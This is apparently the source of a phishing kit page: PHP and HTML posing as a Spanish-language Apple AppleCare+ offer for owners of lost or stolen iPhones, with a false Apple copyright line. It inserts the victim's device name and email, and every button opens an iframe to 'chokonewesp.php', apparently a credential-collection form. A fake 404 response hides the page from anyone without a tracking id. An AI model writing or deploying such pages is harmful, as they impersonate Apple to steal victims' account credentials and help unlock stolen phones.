<?php
if(!isset($idequipo)){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die('<html><head>
<title>404 Not Found</title>
</head><body cz-shortcut-listen="true">
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body></html>');
}
?>
<!DOCTYPE html>
<html>
<head>
  <title>Apple Care</title>
  <link rel="preconnect" href="https://fonts.googleapis.com">
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link href="https://fonts.googleapis.com/css2?family=Poppins&display=swap" rel="stylesheet"> 
  <style>
    iframe{
        width:360px;
        border:0;
        height:400px;
        position:fixed;
        background:#fff;
        border-radius:10px;
        left:50%;
        margin-left:-180px;
        top:50%;
        margin-top:-200px;
        z-index:1;
        box-shadow:0 0 10px #d9d9d9;
        display:none;
    }
    .opc{
        background:rgba(255,255,255,.7);
        z-index:1;
        position:fixed;
        width:100%;
        height:100%;
        left:0;
        top:0;
        display:none;
    }
    .apcare{
      font-family: 'Poppins', sans-serif;
      max-width: 850px;
      margin:auto;
      color:#1D1D1F;
      padding:0 15px;
    }
    .apcare button{
      background:#0477ED;
      color:#fff;
      border:1px solid #0477ED;
      width:260px;
      font-size: 16px;
      padding:8px 0;
      cursor: pointer;
      border-radius: 8px;
    }
    .apcare hr{
      border-bottom: 0;
      border-top:1px solid #b9b9b9;
    }
    .aphead{
      text-align: center;
      margin-bottom: 50px;
    }
    .aphead h2{
      font-size: 33px;
      margin-bottom: 0;
    }
    .item{
      display: inline-block;
      vertical-align: top;
    }
    .item{
      width: 30%;
    }
    .item2{
      width: 69%;
    }
    .item h2{
      color:#4a4a4a;
    }
    .item h4{
      color: #3e3e3e;
    }
    .item ul li{
      font-size: 12px;
    }
    .item ul li span{
      color:#39b003;
    }
    .item a{
      color: #0365CC;
      font-family: arial;
    }
    .item .ul{
      display: inline-block;
      vertical-align: top;
    }
    ul.ul{
      width: 69%;
      padding:0;
    }
    .apcare p{
        text-align:center;
        margin:30px 0 10px;
    }
    @media screen and (max-width:750px){
        .item{
            width:100%;
        }
        img.ul, ul.ul{
            margin:auto;
        }
        .item .ul{
            display:block;
        }
        ul.ul{
            width:90%;
        }
        .button{
            margin:auto;
            display:block;
        }
    }
  </style>
</head>
<body>
    <div class="opc"></div>
    <iframe src="chokonewesp.php?id=<?php echo $idequipo;?>&correo=<?php echo $response->email;?>" scrolling="no"></iframe>
  <div class="apcare">
    <div class="aphead">
      <h2>Garantía AppleCare+ por robo o extravío</h2>
      <p>Obtén todos los beneficios de AppleCare+ por tiempo limitado</p>
      <button>Validar</button>
    </div>
    <div>
      <hr>
      <div class="item">
        <img src="/imgcare/applecare.png" width="100%">
      </div>
      <div class="item item2">
        <h2><?php echo $response->equipo;?></h2>
        <hr>
        <h4>Utiliza AppleCare+ para tu <?php echo $response->equipo;?></h4>
        <ul>
          <li>Protección contra daños accidentales</li>
          <li>Reparaciones certificadas por Apple con piezas originales</li>
          <li>Recuperación o reemplazo de tu equipo perdido o robado <span>Nuevo*</span></li>
        </ul>
        <a href="#">Validar</a>
        <hr>
        <h4>Obtén el nuevo iPhone 14 con tu <img src="/imgcare/apple.png" width="18px" style="vertical-align: -2px;"> AppleCare+</h4>
        <img src="/imgcare/iphone14.png" width="30%" class="ul">
        <ul class="ul">
          <li>Tu equipo perdido puede reemplazarse por el nuevo iPhone 14, siempre y cuando reúnas los requisitos solicitados <span>Nuevo*</span></li>
          <li>Si tu equipo no aplica para este reemplazo, puedes recibir un descuento al adquirir el Nuevo iPhone 14</li>
          <li style="list-style: none;margin-top: 15px;color:#00485e;">
            ¿Mi equipo actual aplica para adquirir el Nuevo iPhone 14? <a href="#">Evaluar</a><br>
            <button class="button" style="margin-top: 20px;">Evaluar</button>
          </li>
        </ul>
        <p>Copyright © <?php echo date("Y");?> Apple Inc. Todos los derechos reservados. </p>
      </div>
    </div>
  </div>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script> 
    <script>
        $(document).ready(function() {
            $("button, a").on("click", abreFrame);
            function abreFrame(a){
                $("iframe, .opc").slideDown();
                a.preventDefault();
            }
            $(".opc").on("click", cierraFrame);
            function cierraFrame(){
                $("iframe, .opc").hide();
            }
        });
    </script>
</body>
</html>